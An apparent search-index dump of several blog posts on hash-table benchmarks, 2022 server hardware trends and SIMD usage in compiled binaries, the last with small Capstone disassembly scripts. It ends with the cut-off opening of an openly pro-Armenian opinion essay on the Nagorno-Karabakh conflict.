buckets, where every bucket is a linked list. Every node of those linked lists is allocated in a new place on the heap in the default configuration. Once we get a query, we hash the key, determine the bucket, pick the head of the list and compare our query to every object in the list. This already must sound wasteful in the number of entries we will traverse.\nThen, a linked list in each bucket would require storing at least one extra eight-byte pointer per added entry. If you are mapping integers to integers, you will be wasting at least half of the space in the ideal case. Continuing the topic of memory efficiency, allocating nodes on-heap means having even more metadata about your HT stored in another tree data structure. Let\u0026rsquo;s take the second most popular solution.\nGoogle Hash Maps Googles SparseHash library as over ⭐ 1K on GitHub! They have a sparse and a dense google::dense_hash_map HT, the latter one being generally better across the board.\nGoogles design is based on the idea of open-addressing. Instead of nesting linked-lists in every bucket, they keep only one plain memory buffer. If a slot is busy, a linear probing procedure is called to find an alternative. This methodology has a noticeable disadvantage. Previously, with std::unordered_map we could allocate one entry at a time, making memory consumption higher but more predictable. Here, we have a single big arena, and when it\u0026rsquo;s 70% populated, we generally create another one, double the size, and migrate the data in bulk. Sometimes, for 7x entries, we will use 30x worth of memory over four times what we expected.\nFurthermore, those bulk migrations don\u0026rsquo;t happen momentarily and will drastically increase the latency on each growth. This HT performs better on average but lowers predictability and causes latency spikes.\nAnother disadvantage with this library is defining an \u0026ldquo;empty key\u0026rdquo;. If your integer keys are only 4 bytes in size, this means reserving and avoiding 1 in 4'000'000'000 potential values. A small functional sacrifice in most cases, but not always.\nTSL Library If you feel a little less mainstream and curious to try other things, tsl:: is another interesting namespace to explore. Its best solution also relies on open addressing but with a different mechanism of probing and deletion.\nBest of all, the author provides numerous benchmarks, comparing his tsl::robin_map to some of the other established names.\nAt Unum, however, we don\u0026rsquo;t use any third-party HT variants. In this article, we only benchmarked a single operation - a lookup. A broader report would include: insertions, deletions and range-constructions, to name a few and would highlight broader tradeoffs between different pre-existing solutions.\nWhen those benchmarks are running, we disable multithreading, pin cores to the process, start a separate sub-process that queries the system on both software and hardware events, like total reserved memory volume and the number of cache misses. Those benchmarks run on Intel, AMD and ARM CPU design, on machines ranging from 3 W to 3 kW power-consumption, running Linux and sometimes even macOS, as we saw today.\nIn years of High-Performance Computing Research, you learn one thing - there are no absolute benchmarks. Noise and fluctuations are always present in the results. Still, with gaps this obvious, we are genuinely excited about Apple\u0026rsquo;s new laptops and can\u0026rsquo;t wait for the next generation of servers to adopt DDR5 technology!\nContinue reading on this topic:\nHashmaps benchmarks by @Tessil. Hashmaps benchmarks by @Sunitram. Hashmaps benchmarks by @Idryman. Or check out my GitHub for more interesting projects.\n","permalink":"https://ashvardanian.com/posts/apple-m1/","summary":"\u003cp\u003eThis will be a story about many things: about computers, about their (memory) speed limits, about very specific workloads that can push computers to those limits and the subtle differences in \u003ca href=\"https://en.wikipedia.org/wiki/Hash_table\"\u003eHash-Tables\u003c/a\u003e (HT) designs.\nBut before we get in, here is a glimpse of what we are about to see.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Google HashMaps\" loading=\"lazy\" src=\"/apple-m1/HERO.svg\"\u003e\u003c/p\u003e\n\u003cp\u003eA friendly warning, the following article contains many technical terms and is intended for somewhat technical and hopefully curious readers.\u003c/p\u003e","title":"Apple to Apple Comparison: M1 Max vs Intel 🍏"},{"content":"A single software company can spend over 💲10 Billion/year, on data centres, but not every year is the same. When all stars align, we see bursts of new technologies reaching the market simultaneously, thus restarting the purchasing super-cycle. 2022 will be just that, so let\u0026rsquo;s jump a couple of quarters ahead and see what\u0026rsquo;s on the shopping list of your favorite hyperscaler!\nFriendly warning: this article is full of technical terms and jargon, so it may be hard to read if you don\u0026rsquo;t write code or haven\u0026rsquo;t assembled computers before.\nWarning #2. We are at the crossroads, where mobile/desktop and servers will have to go in different directions. So the gamers may not see most of these technologies next year.\nThis article was posted on HackerNews. More than once.\nThe original article contained around 2'700 words but was later extended at readers request to include a little more info on Intel and AMD CPUs.\nWhat will we cover? A lot, but not all!\nFirst of all, this is not about emerging analogue computing technologies, quantum or optical. Those are excellent topics for research but won\u0026rsquo;t have wide adoption in the next couple of years.\nSecondly, it\u0026rsquo;s not about lithography. At least not directly. We still have some headroom with the Moore\u0026rsquo;s law, so the transistors should continue shrinking. ASMLs Extreme Ultraviolet Lithography printing machines are becoming more common. TSMC was already printing at 5nm for Apple and announced 3nm coming soon. That shrinking will have a somewhat uniform effect on performance across applications, so we can save time and research something else.\nLet\u0026rsquo;s focus on the devices themselves, how motherboards, RAM, SSDs, NICs, CPUs, and GPUs are constrained today and how will they evolve in the future.\nConnectivity There was a time the CPU was alone, Nowhere to go and no place to call home… SoundCloud\nConnectivity is essential. All following devices are irrelevant if you can\u0026rsquo;t link them. PCI-E bus is the one responsible for that. It connects CPUs to other specialized accelerator cards, like GPUs, TPUs, IPUs. With more PCI-E lanes, you can attach more devices hence analyzing more data.\nYear x16 Throughput Gen 1. 2003 4 GB/s Gen 2. 2007 8 GB/s Gen 3. 2010 16 GB/s Gen 4. 2017 32 GB/s Gen 5. 2019 64 GB/s Technically, Gen 5 was introduced in 2019, but the first products started popping up in Q3 2021. Next year we expect wide adoption and a possible introduction of Gen 6 with another bitrate doubling, as always.\nAssume you have a few modern GPUs like the Nvidia A100 in your system. Each can fetch over 1 TB/s from its\u0026rsquo;s ginormous 80 GB HBM2 pack, but the CPU still easily has 20x more memory volume. When we try to unify those pools, the non-uniformity of access latency will kill every supercomputing ambition you had as a child. Latency aside, the 64 GB/s bandwidth in Gen 5 is still at least 16x slower, than what we would call uniform!\nCompute Express Link (CXL) This may be news to software developers, but hardware enterprises are familiar with that bottleneck and have been trying to replace or extend PCI-E for a decade now. A notable example would be the Coherent Accelerator Processor Interface (CAPI). Proposed by IBM in 2014, it was one of the first expansion buses layered on top of PCI-Express. It means the bandwidth can\u0026rsquo;t exceed the underlying protocol, only functionality, like supporting transactions between different ISA components. Intel followed up a year later with Omni-Path. Just like IBM, their effort was short-lived. Sadly, even organizing a consortium with companies like AMD, ARM, Huawei, Qualcomm and Xilinx wouldn\u0026rsquo;t guarantee the future of such proposals. The Cache Coherent Interconnect for Accelerators (CCIX) was just that…\nEveryone failed until someone didn\u0026rsquo;t. CXL is also extending the existing PCI-E. It already has some industry adoption. It defines three typical use cases in the 1.1 version. As we saw at the OCP Summit, tech giants are already using it for expandable memory pools. Samsungs Scalable Memory Development Kit is an excellent example of this new family of devices. It lets you attach pools of DRAM over PCI-E. Each of them becomes something like a NUMA node.\nAside from DRAM expansion and smarter NICs, CXL also hopes to revolutionize how we view and share the memory pools already installed in your chips. Today, every device has its own address space. Transparently unified addressing is extremely slow for randomized memory patterns and causes unpredictable latencies. So if your GPU has 10'000 cores and if at least 1 core in every cluster accesses remote memory, your overall speed will fall dramatically, even if 99% of cores are addressing local HBM2 buffers. Writing manual synchronization primitives has been the only solution for Unum so far, but most teams can\u0026rsquo;t bear this burden. Even the biggest game-design agencies abandoned the idea of SLI many years, because of the sheer complexity of scheduling asynchronous transfers.\nShameless plug here. We have experience with Nvidia\u0026rsquo;s CUDA queues and Cooperative Groups, OpenCL \u0026amp; OpenGL and Vulkan queues, and a little with SyCL. I don\u0026rsquo;t know which one is worse, but none of them is good. Vulkan is overly complex and more graphics-oriented. Everything else sucks for multi-GPU. Let us know if there is a new driver-level (not a library) async task scheduling game in town. Prefereably, a userspace framework like PMDK and SPDK. We will be happy to participate in the design!\nNV-Link We remember that CXL builds on top of PCI-E, thus inheriting parent protocols limitations. There is another game in town - NV-Link and NV-Switch by NVidia. They have 640 GB of High Bandwidth Memory spread across eight GPUs in every DGX A100 server. It must be wired together, so they have a switch inside each server!\nWait, what?! A Switch. Inside of a server. 🤯🤯🤯 They have buried the consumer-level SLI and replaced it with NV-Link for pro-sumers and datacenters. That\u0026rsquo;s how you join pairs of GPUs. Each pair can then exchange 600 GB/s. A significant upgrade over PCI-E Gen 4 at the time. The NV-Switch, in turn, is used to link up to eight GPUs in most modern servers. With modern Neural Networks often exceeding 100 GB in size, you would need to slice the networks into groups of layers, store them on different GPUs, and then route signal propagation via NCCL. NV-Switch will handle it at an aggregate throughput of 9.6 TB/s.\nThere is something else luring far-far ahead. Photonics! One day we will write about it! Subscribe until then!\nVolatile Memory: DDR5 With 1 TB RAM per AMD Epyc CPU, it would take over 5 seconds just to memset the whole memory at peak 200 GB/s speed. Too slow, so DDR5 comes to the rescue.\nPCI-E slots are both forward and backward compatible. You can put a new GPU into an old slot and vice versa. The same doesn\u0026rsquo;t hold for RAM though. New generation - new motherboards. New motherboards - new CPUs. So it\u0026rsquo;s less surprising that DDR4 was with us from 2014 until now, 2021.\nA big datacenter hosts about 200'000 CPUs. At 💲5'000 per CPU — vendors can\u0026rsquo;t afford fashion for the sake of fashion. A replacement of CPUs alone would cost 💲1 Billion, so it must be justified. So how much better DDR5 is:\nClock rate: from 1.6 GHz up to 4.8 GHz. DIMM size: from 64 GB to 256 GB. I would expect double the speed, quadrupled volume, and better power efficiency. We can already taste such rates in the new MacBook Pro 2021. This 💲2'000 marvelous piece of engineering packages DDR5 with 400 GB/s bandwidth, double what you get in a 💲200'000 state-of-the-art server.\nPersistent Storage First of all, isn\u0026rsquo;t it weird that we still sell NVME SSDs in the M.2 form-factor? They are tiny and make sense for laptops, but why put the same in the server?\nIf you thing it\u0026rsquo;s odd, the U.2 is batshit crazy. It\u0026rsquo;s designed to fit into the 2.5\u0026quot; caddies of most servers, which are inherited from the old HDD days. We had Large-Form-Factor 3.5\u0026quot; HDDs from 1983 and the newer Small-Form-Factor 2.5\u0026quot; HDDs since 1988. That technology used magnetic spinning disks and was capped at 20 MB capacity. Our current U.2 Samsung M393AAG40M32-CAE SSDs each have 8 TB (300'000x more) in the same form factor without any spinning disks involved.\nIn 2022 we will finally start fixing that historical joke. The replacement isn\u0026rsquo;t without quirks - too many sizes, but I appreciate the change. Here we see two significant trends:\nremoval of caddies — one less part to buy from vendors, hot-pluggable PCI-E devices — so it\u0026rsquo;s easier to replace and service, longer and slimmer body, to make more capacity serviceable from the server front, taller heatsinks for next-generation controllers with up to 40W expected power consumption. New SSDs will sit on the PCI-E bus, so the controllers should become faster. Today\u0026rsquo;s record is about 7 GB/s and can\u0026rsquo;t be above 8 GB/s. In the next-gen, the cap will be 16 GB/s.\nFurthermore, did you know modern SSDs also house logic and volatile memory on board? The cheap ones cut the costs and may have no DRAM aboard. Write performance then becomes inconsistent but may stay unnoticeable for some users. With higher connectivity, this bottleneck may be gone. SSDs can lose logic and RAM and solely provide block-addressable NAND flash arrays. All the magic can then move to userspace software, potentially eradicating the filesystem concept — worth exploring.\nPersistent… Memory? There is more. Volatile and persistent memory have radically different bandwidths and volumes. The first is small and fast, and the second is big and slow. The gap is enormous, with about 10'000x speed difference in randomized mixed read+write operations. Software vendors are trying to reduce this gap, but the hardware is also evolving.\nMeet \u0026ldquo;Persistent Memory\u0026rdquo; — the foster child of Intel and Micron. Though promising, the unit went through multiple reorganizations in the last few years and only gained traction now.\nThe main promises PMem brings, are:\nZero boot time. Your RAM essentially becomes persistent. Once the computer is turned on - you don\u0026rsquo;t need to boot. All the applications continue from the same place. Larger memory pools. The common upper bound for RAM is about 2 TB/socket today. With PMem it can be 12 TB. Why isn\u0026rsquo;t everyone using it then?\nIt\u0026rsquo;s very pricey. Software adjustments are needed to use it properly. Plus, I don\u0026rsquo;t know if it works with AMD CPUs. Adoption-wise, TensorFlow has 160K stars on GitHub, but still has no proper support for AMD GPUs. PMDK has only 1K stars, so it still has much adoption to gain. Most of our servers have AMD Zen2 CPUs at Unum, and we have no PMem to experiment. Maybe next year!\nSmart NICs and DPUs SmartNICs are weird and very hard for me to grasp. As clouds grow and software-defined networking becomes a thing - companies like Amazon start cramming more stuff into networking cards. We know little about such a scale and the use case.\nDown here on Earth, we love training big Deep Learning models. After showing a randomly sampled batch of data to a neural network on one server, you use gradients to guide the change of weights towards finding the minimum of the loss (error) function. Like most classical distributed computing, you split your machines into \u0026ldquo;masters\u0026rdquo; and \u0026ldquo;slaves\u0026rdquo;. The \u0026ldquo;managers\u0026rdquo; and number-crunchers, but suddenly \u0026ldquo;managers\u0026rdquo; end up doing just as much arithmetics - averaging the state across the cluster after every batch and broadcasting it back.\nWith 200 Gbit fibres today and 400 Gbit fibres tomorrow, sending the data to neighboring machines becomes cheaper, while averaging becomes more noticeable. So the industry answer is to put more RAM, CPU cores and GPUs into the NIC, making it a server by itself.\nDPU will run a separate instance of Linux. DPU will have it\u0026rsquo;s own processes and address space. DPU will even have a separate management LAN. Genuinely, the overall concept doesn\u0026rsquo;t make sense to me. It may do the job in some cases, but I would hardly call it future-proof or elegant. The time will tell!\nCPUs \u0026amp; GPUs Finally, we reach the coolest part of the review - CPUs \u0026amp; GPUs. Those two generally work in tandem and are the pillars of modern High-Performance Computing. We have seen Systems-On-a-Chip (SoC) that pack both on a single die, but that\u0026rsquo;s mostly for laptops and entry-level gaming.\nAMD The CPU is flat. At least that\u0026rsquo;s how \u0026ldquo;they\u0026rdquo; want us to think. 😁 It wasn\u0026rsquo;t flat before, and it\u0026rsquo;s most definitely not now. AMD already has a colossal socket, so when they tried to grow memory, they decided to stack it on top - vertically. Hence the name. V-Cache was recently announced for desktop Ryzen CPUs, tripling the L3 cache size of the fastest desktop CPU. Our top-of-the-line Epyc and Threadripper Pro CPUs have 256 MB of L3 cache. It\u0026rsquo;s enough, in theory, to fit the Linux kernel without even using the RAM! Next year it will likely be ≥ 768 MB! The bandwidth of L3 will grow, but the latency may increase a little.\nAMD has some of the epic CPU series names on the server market. We have seen Naples (Zen 1), Rome (Zen 2), Milan (Zen 3), following are Genoa and Bergamo on Zen 4. Experienced travelers may have noticed the pattern. Every year we were traveled across Italy, further and further North. Until Genoa, which is a whopping 1° south of Milan! Customers must be furious with this atrocity, so Genoa brings massive upgrades to compensate for the disappointing name. 😁 All in a gigantic new SP5 LGA 6096 Socket.\nMilan Genoa Bergamo Cores 64 96 128 TDP 280 W 320 W 320 W Cache 256 MB 804 MB 804 MB RAM Channels 8 12 12 PCIe 128x Gen4 128x Gen5 128x Gen5 Lithography 7nm TSMC 5nm TSMC 5nm TSMC Availability 2021 2022 2023 All of this is just a guess, of course. We can further speculate that new CPUs may support up to 12 TB of DDR5 RAM per socket. We also expect all cores to support SMT2, just like Milan and Milan-X.\nThe most significant core-count changes are happening in the GPU market, still. With the grand unveiling of their MI200 GPU series, they took the lead in FP64 high-precision workloads. Irrelevant for Machine Learning, it still underpins ballistics and some scientific computations. Anyways, congratulations on delivering the first MCM design in GPU history!\nIntel Enthusiasts may have noticed that CPUs these days have almost as many cores as GPUs Execution Units. Their Floating Point Units are getting beefier, and the power consumption in both cases may soon surpass 500W. Looks like convergence.\nSo Intel thought, why not pack HBM into the product similar to how GPUs are sold? That\u0026rsquo;s precisely what\u0026rsquo;s announced for 2022 Intel Sapphire Rapids chips. It\u0026rsquo;s not clear if the system sees it as a RAM NUMA or an L4 cache, but I am eager to see!\nInnovations also include the expected switch to DDR5, PCIe Gen5 (with support of CXL) and a new UPI link. Less conspicuous yet predictable arrive the AMX SIMD instructions. Those manipulate 64 byte registers, just like AVX-512, but focus only on matrix multiplications. If Nvidia Tensor Cores already support TF32, FP64, FP16 and many other numeric types, Intel only focuses on AI inference for now - INT8 and BF16.\nJust like AMD, Intel isn\u0026rsquo;t done with GPUs. Ponte Vecchio, their new massive GPU, is also expected in 2022. The stakes are so high that they are going for the TSMC 5N lithography instead of their own fabs. We haven\u0026rsquo;t seen discrete GPUs from Intel in years, but somehow, on the software side, they are better prepared for heterogeneous computing. They have joined the SyCL consortium, extended their compiler toolchain, but I have to state that they are still behind Nvidia from the software perspective.\nWith all this preparation, it\u0026rsquo;s only natural that they unroll their all-Intel servers to compete with Nvidia DGX A100.\nARM \u0026amp; Nvidia I expect broader adoption of ARM v9 ISA and availability of SVE2 SIMD extensions. The first of its kind, with runtime-defined register size. Your software will have the same binary for all hardware versions with SIMD registers ranging from 128 to 2048 bits. Todays Ampere Altra Max CPUs feature 128 cores. A single 2048-bit register would fit 128 half-precision floats. With reduced control-flow granularity and huge vectorized registers this already reminds me GPUs.\nIf this wasn\u0026rsquo;t enough, Nvidia is buying ARM. Everyone has known it for over a year now. Some parties protest against this deal, but they unitedly can still bring something unique to the market next year regardless of the merger. I am talking, of course, about the ARMv9 + NV-Link integration. At their last GTC conference, they talked about our favorite memory bottlenecks and how they will solve them with \u0026ldquo;Grace\u0026rdquo;! 😂\nGrace is their upcoming ARM CPU paving the road for many advanced next-gen technologies. Today, the most common solution for server design for a dense environment implies two x86 sockets in 2U. Dual AMD Epyc gives you not 256 PCI-E lanes (128 x 2), but 160, as 96 would be used for inter-processor communication. 160 is enough for 8x GPUs and 8x SSDs simultaneously, but this hides the question of affinity. It\u0026rsquo;s tough to localize and reserve RAM buffers on the CPU side for a specific GPU. Aside from higher bandwidth Nvidia\u0026rsquo;s Grace concept may provide a simpler programming model. A one-to-one ratio between CPUs and GPUs looks closer to a four-node server than a single node with 4x CPUs and GPUs.\nThe overall landscape seems extremely promising! We haven\u0026rsquo;t seen this much variety in the hardware space since the early days of computing. This article could be much longer and detailed. Cerebras, GraphCore, SambaNova all presented exciting chips recently, and we will do our best to port our software to as many HPC platforms as possible!\n","permalink":"https://ashvardanian.com/posts/server-supercycle/","summary":"\u003cp\u003eA single software company can spend \u003ca href=\"https://www.datacenterdynamics.com/en/news/google-recalibrate-data-center-spend-and-cut-hiring-due-covid-19/\"\u003eover 💲10 Billion/year\u003c/a\u003e, on data centres, but not every year is the same.\nWhen all stars align, we see bursts of new technologies reaching the market simultaneously, thus restarting the purchasing super-cycle.\n2022 will be just that, so let\u0026rsquo;s jump a couple of quarters ahead and see what\u0026rsquo;s on the shopping list of your favorite hyperscaler!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eFriendly warning: this article is full of technical terms and jargon, so it may be hard to read if you don\u0026rsquo;t write code or haven\u0026rsquo;t assembled computers before.\u003c/p\u003e","title":"Hyperscaler Shopping List: 2022 Data Center Tech Frenzy ☁️"},{"content":"David Patterson had recently mentioned that (rephrasing):\nThe programmers may benefit from using complex instruction sets directly, but it is increasingly challenging for compilers to automatically generate them in the right spots.\nIn the last 3-4 years I gave a bunch of talks on the intricacies of SIMD programming, highlighting the divergence in hardware and software design in the past ten years. Chips are becoming bigger and more complicated to add more functionality, but the general-purpose compilers like GCC, LLVM, MSVC and ICC cannot keep up with the pace. Hardly any developer codes in Assembly today, hoping that the compiler will do the heavy lifting.\nThe code for this article is publicly available in our corporate GitHub profile. Feel free to reuse and reference it!\nCrash Course on SIMD SIMD stands for \u0026ldquo;Single Instruction Multiple Data\u0026rdquo;. Those are the Assembly instructions prevalent in modern CISC architectures that guide the CPU to perform identical operations on aligned data pieces in a single logical cycle. The operation may take multiple CPU clock cycles and even trigger CPU frequency degradation, but it is a complex topic that we will not cover this time. Watch this video to learn the whole story.\nx86 Growth Stages The data in the table below may not be very accurate but should be good enough to draw a picture. It shows the number of new mnemonics in every generation of SIMD extensions in the x86 ISA.\nYear Extension New Mnemonics 1997 MMX + 46 1999 SSE + 62 2001 SSE2 + 70 2004 SSE3 + 10 2006 SSSE3 + 16 2006 SSE4.1/2 + 54 2008 AVX + 89 2011 FMA + 20 2013 AVX2 + 135 2015 AVX-512 + 347 That number had surpassed 1'000 by now and will grow to include AMX soon. Every mnemonic can have multiple specializations for different register widths, so the number of distinct instructions is now over 4'000! You can find an almost complete list here.\nFive years after the introduction of AVX-512, only a few Intel server CPUs support them. AMD did not implement them in their Epyc lineup. Linus Torvaldsfamously criticized them in his signature unapologetic manner:\nI hope AVX-512 dies a painful death and that Intel starts fixing real problems instead of trying to create magic instructions to then create benchmarks that they can look good on. Linus Torvalds.\nCurrent industry trends are unclear and, regardless of solid opinions, SIMD instructions are here, but are we using them?\nHow Much Performance Are We Leaving On The Table? One of my talks was about a simple hack - using AVX2 and a simple heuristic to accelerate substring search to 12 GB/s on a single commodity CPU core. For reference, libc and STL functions generally only reach 1 GB/s. While preparing that talk, a team at Intel helped us test and validate the numbers and squeeze the most out of the ICC. The result - 3 GB/s. So still 4x slower than the version I have presented back then. If substring search can be 4x-12x faster, how much faster can the rest of the software be?\nLet\u0026rsquo;s Quantify First, I wanted to classify all instructions manually. They should be uniquely identifiable by a mnemonic and registers they operate on, but x86 is a CISC for a reason. x86 instructions have variable length limited to 16 bytes. The longest one, however, is only 15 bytes.\nCapstone To make things simpler, I took Capsone, an extremely popular disassembly toolkit. It\u0026rsquo;s implemented in pure C, but for this little visualization I took the Python wrapper. I used it to parse the instructions and extract the mnemonics. A mnemonic can have a functional suffix, which I drop to make results more interpretable. Here is what our parser looks like:\n1 2 3 4 5 6 7 8 def yield_instructions_from_binary(path: str) -\u0026gt; Generator[InstructionSpecs, None, None]: with open(path, mode=\u0026#39;rb\u0026#39;) as file: code = file.read() md = Cs(CS_ARCH_X86, CS_MODE_64) md.detail = True md.skipdata = True for instruction in md.disasm(code, 0): yield parse_instruction(instruction) Wait, Capstone does not classify instructions by their complexity or speed, so we need to do a little bit of preprocessing. As we are currently viewing x86, we should navigate to the Wikipedia page that describes Advanced Vector Extensions. We can see that, unlike the scalar registers, vector registers have very recognizable naming scheme:\n128-bit registers start with xmm, 256-bit registers start with ymm, 512-bit registers start with zmm. While iterating through binaries, we can check the names of active registers against a pre-compiled vocabulary.\n1 2 3 4 5 6 7 8 9 10 registers_512b = set([\u0026#39;zmm\u0026#39; + str(i) for i in range(0, 32)]) registers_256b = set([\u0026#39;ymm\u0026#39; + str(i) for i in range(0, 32)]) registers_128b = set([\u0026#39;xmm\u0026#39; + str(i) for i in range(0, 32)]) registers_64b = set([\u0026#39;rax\u0026#39;, \u0026#39;rbx\u0026#39;, \u0026#39;rcx\u0026#39;, \u0026#39;rdx\u0026#39;, \u0026#39;rsp\u0026#39;, \u0026#39;rbp\u0026#39;, \u0026#39;rsi\u0026#39;, \u0026#39;rdi\u0026#39;, \u0026#39;rip\u0026#39;] + [\u0026#39;r\u0026#39; + str(i) for i in range(8, 16)]) registers_32b = set([\u0026#39;eax\u0026#39;, \u0026#39;ebx\u0026#39;, \u0026#39;ecx\u0026#39;, \u0026#39;edx\u0026#39;, \u0026#39;esp\u0026#39;, \u0026#39;ebp\u0026#39;, \u0026#39;esi\u0026#39;, \u0026#39;edi\u0026#39;, \u0026#39;eip\u0026#39;, \u0026#39;eflags\u0026#39;]) registers_16b = set([\u0026#39;ax\u0026#39;, \u0026#39;bx\u0026#39;, \u0026#39;cx\u0026#39;, \u0026#39;dx\u0026#39;, \u0026#39;sp\u0026#39;, \u0026#39;bp\u0026#39;, \u0026#39;si\u0026#39;, \u0026#39;di\u0026#39;, \u0026#39;cs\u0026#39;, \u0026#39;ss\u0026#39;, \u0026#39;es\u0026#39;, \u0026#39;ds\u0026#39;, \u0026#39;ip\u0026#39;, \u0026#39;flags\u0026#39;]) registers_8b = set([\u0026#39;ah\u0026#39;, \u0026#39;al\u0026#39;, \u0026#39;bh\u0026#39;, \u0026#39;bl\u0026#39;, \u0026#39;ch\u0026#39;, \u0026#39;cl\u0026#39;, \u0026#39;dh\u0026#39;, \u0026#39;dl\u0026#39;]) Assuming the operands of an instruction can have different size, we will describe each instruction by the biggest register size involved.\nResults Linux Binaries I took an AMD Epyc Zen2 machine I had lying around and analyzed all the binaries in /usr/bin and /usr/local/bin. It\u0026rsquo;s the latest generation of AMD server CPUs you can buy today. They still don\u0026rsquo;t support AVX-512, but the AVX-2 instructions are there. So how many lines of Assembly will at least touch the vector registers that make up one of the most significant parts of the CPU die?\nI took around 2'000 binaries, analyzed them with Capstone and exported the statistics for the biggest programs.\nBinary Instructions All SIMD 128-bit SIMD 256-bit SIMD 512-bit SIMD /usr/bin/dockerd 43M 0.478% 0.469% 0.009% 0.000% /usr/bin/docker 26M 0.582% 0.568% 0.014% 0.000% /usr/bin/containerd 21M 0.560% 0.543% 0.017% 0.000% /usr/local/bin/gitlab-runner 19M 0.851% 0.828% 0.022% 0.001% /usr/bin/mongod 16M 0.547% 0.545% 0.002% 0.000% /usr/bin/mongoperf 15M 0.544% 0.542% 0.002% 0.000% /usr/bin/kubectl 15M 1.002% 0.978% 0.024% 0.000% /usr/bin/helm 14M 1.040% 1.015% 0.025% 0.000% /usr/bin/ctr 12M 0.564% 0.533% 0.030% 0.000% /usr/bin/containerd-stress 10M 0.551% 0.516% 0.035% 0.000% /usr/bin/mongos 9M 0.602% 0.600% 0.002% 0.000% /usr/bin/mongo 9M 0.566% 0.564% 0.002% 0.000% /usr/bin/snap 8M 0.679% 0.635% 0.044% 0.000% macOS Binaries An argument can be made that Linux packages optimize for compatibility, so the default distributions should support the oldest generations of CPUs. Even in that case, there are ways to ship multiple backends in the same binary, but it is not easy.\nWhat about Mac, then? Of all major Operating Systems, they support the narrowest range of hardware. Before switching to ARM chips recently, they had ten years to optimize their packages and compilers for their hardware.\nBinary Instructions All SIMD 128-bit SIMD 256-bit SIMD 512-bit SIMD /usr/local/bin/mongod 26M 0.636% 0.635% 0.001% 0.000% /usr/local/bin/libHalide.dylib 25M 0.289% 0.288% 0.001% 0.000% /usr/local/bin/influxd 23M 0.714% 0.694% 0.020% 0.000% /usr/local/bin/influx 19M 0.662% 0.638% 0.023% 0.000% /usr/local/bin/hugo 18M 0.760% 0.740% 0.019% 0.001% /usr/local/bin/mongo 17M 0.614% 0.613% 0.002% 0.000% /usr/local/bin/bazel-real 16M 0.141% 0.120% 0.020% 0.000% /usr/local/bin/node 14M 0.779% 0.737% 0.042% 0.000% /usr/local/bin/lto-dump-10 12M 0.037% 0.035% 0.000% 0.002% /usr/local/bin/gs-X11 8M 1.168% 1.167% 0.000% 0.001% As we see, the picture did not change much.\nFinal Notes I will leave everyone to make their own decisions. Today, ARM is shifting from RISC to CISC and already has two very distinct families of SIMD - Neon and SVE. RISC-V is the new RISC on the block, but no-one seems to use them yet. Compilers will probably not get much smarter, but the hardware is changing.\nAs for current CPUs, there is a lot to optimize even before writing SIMD by hand. To name a few:\nReduce branching, Reduce memory jumps and heap allocations, Switch to modern exception handling, Avoid run-time polymorphism, Make functions more inline-able, Tune compilation \u0026amp; linking settings. This list is not exhaustive. If your bottleneck is I/O - switch from sync to async and then to user-space operations. If you do parallel computing, explore lock-free data structures and read about mutexes vs spin-locks.\nOnce done, the recommendation would be to focus on 256-bit x86 operations and mainly small integer workloads. These can provide the most considerable boost over the scalar version. So the future-proof variant is to avoid investing too much time into AVX-512 and focus on AVX2 and ARM Neon until the fog is gone and we know what the next generation of hardware brings!\n","permalink":"https://ashvardanian.com/posts/simd-popularity/","summary":"\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/David_Patterson_(computer_scientist)\"\u003eDavid Patterson\u003c/a\u003e had recently \u003ca href=\"https://youtu.be/naed4C4hfAg?t=1500\"\u003ementioned\u003c/a\u003e that (rephrasing):\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe programmers may benefit from using complex instruction sets directly, but it is increasingly challenging for compilers to automatically generate them in the right spots.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eIn the last 3-4 years I gave a \u003ca href=\"/lectures\"\u003ebunch of talks\u003c/a\u003e on the intricacies of SIMD programming, highlighting the divergence in hardware and software design in the past ten years.\nChips are becoming bigger and more complicated to add more functionality, but the general-purpose compilers like GCC, LLVM, MSVC and ICC cannot keep up with the pace.\nHardly any developer codes in Assembly today, hoping that the compiler will do the heavy lifting.\u003c/p\u003e","title":"Only 1% of Software Benefits from SIMD Instructions"},{"content":"A full-scale war started between Armenia, Azerbaijan and Turkey on September 27th, 2020. The disputed region of Artsakh or \u0026ldquo;Nagorno-Karabakh\u0026rdquo; hasn\u0026rsquo;t seen such escalation in over two decades. It is an ethnic conflict, that has a religious taste and an almost perpetual political engine keeping it up. It started as an attempt to redistribute power between different nations of the region, but today is used by local dictators to create an illusion of an external enemy. However, this article is not about the motives.\nIt\u0026rsquo;s a survey of territorial claims for both sides, but I promise you at least one irrefutable argument in favour of Armenia. Here is the plan!\nThe Short Story The Truce The Claims The Armenian Viewpoint The Azeri Viewpoint The Massacres The Indisputable Argument The Aftertaste More Links The Short Story The region of Anatolia was a bloodbath in the first quarter of the 20th century. Muslim Turkic nations attacked every Christian ethnic group, which resulted in the Armenian, the Assyrian and the Greek Genocides of 1914-1923. Entire cities were wiped out, families were destroyed and needless to say, the borders were redrawn. That timespan overlaps with WW1 for a reason, so the geographical changes were further amplified by third parties.\nA few international treaties later, the remaining parts of Eastern Armenia join the USSR together with the Transcaucasian republics of Georgia and Azerbaijan. The territory assigned to Azerbaijan contained huge historical populations of Armenians. The biggest of them - Artsakh (NK), receives the status of Autonomy to avoid ethnic clashes. People coexist happily for about 60 years.\nAs the fall of the USSR nears, the quality of life drops and the forgotten ethnic resentment re-emerges. Numerous large-scale anti-Armenian provocations happen, which bring up the painful memories of the Genocide. NK runs a referendum and declares independence to avoid ethnic and religious persecution. Azerbaijan resists the separation, the war begins.\nToday Armenians around the globe are convinced, that giving up those lands to Azerbaijan is equivalent to dooming those people. So how did the two sides plan to settle this?\nThe Truce The active phase of the war ended in 1994. No peace treaty was signed, and at least one confrontation happens every year until now. In 2007, Armenia, Azerbaijan and the mediators drafted the Madrid Principles, but the negotiations hit a wall in 2009. Here is how I see the two sides.\nArmenian Position Azeri Position Guided by The principle of self-determination The principle of territorial integrity Fate of NK/Artsakh Artsakh becomes an independent state. A referendum is held, where the people of Artsakh decide if they want to join Armenia, Azerbaijan or remain independent. NK becomes an autonomous region within Azerbaijan. Armenian language, schools and churches are allowed. Independent regional police are allowed, the military is not. Fate of surrounding territories Nearby Azeri villages can be returned to Azerbaijan, but the safety belt remains. The entire territory becomes part of Azerbaijan. It\u0026rsquo;s worth noting that the principle of territorial integrity (as defined in the 